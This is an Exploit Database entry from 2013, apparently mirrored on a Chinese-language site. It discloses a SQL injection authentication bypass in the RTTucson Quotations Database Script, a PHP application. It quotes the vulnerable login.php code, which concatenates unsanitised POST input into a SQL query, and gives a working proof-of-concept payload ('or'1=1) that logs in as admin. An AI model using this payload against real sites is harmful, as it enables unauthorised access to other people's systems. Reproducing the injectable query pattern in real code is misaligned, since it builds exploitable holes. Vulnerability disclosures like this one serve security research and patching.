RTTucson Quotations Database Script – Authentication Bypass

• Exploit Database
• 11 阅读

• 作者： cr4wl3r
  日期： 2013-02-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24533/

• # RTTucson Quotations Database Script (Auth Bypass) SQL Injection Vulnerability
  # By cr4wl3r http://bastardlabs.info
  # Script: http://www.rttucson.com/files.html
  
  # Bugs found /quotations/admin/include/login.php
  ---------------------------
  36 if ($_POST['submit']) {
  37
  38 $Username = $_POST['Username'];
  39 $Password = md5($_POST['Password']);
  40
  41 $query = "SELECT * from UsersTBL WHERE Username='$Username' AND Password='$Password'";
  42 $result = mysql_query($query) or die ( mysql_error() );
  ---------------------------
  
  Proof of Concept
  
  http://bastardlabs/[path]/admin/include/login.php
  Username: 'or'1=1
  Password: cr4wl3r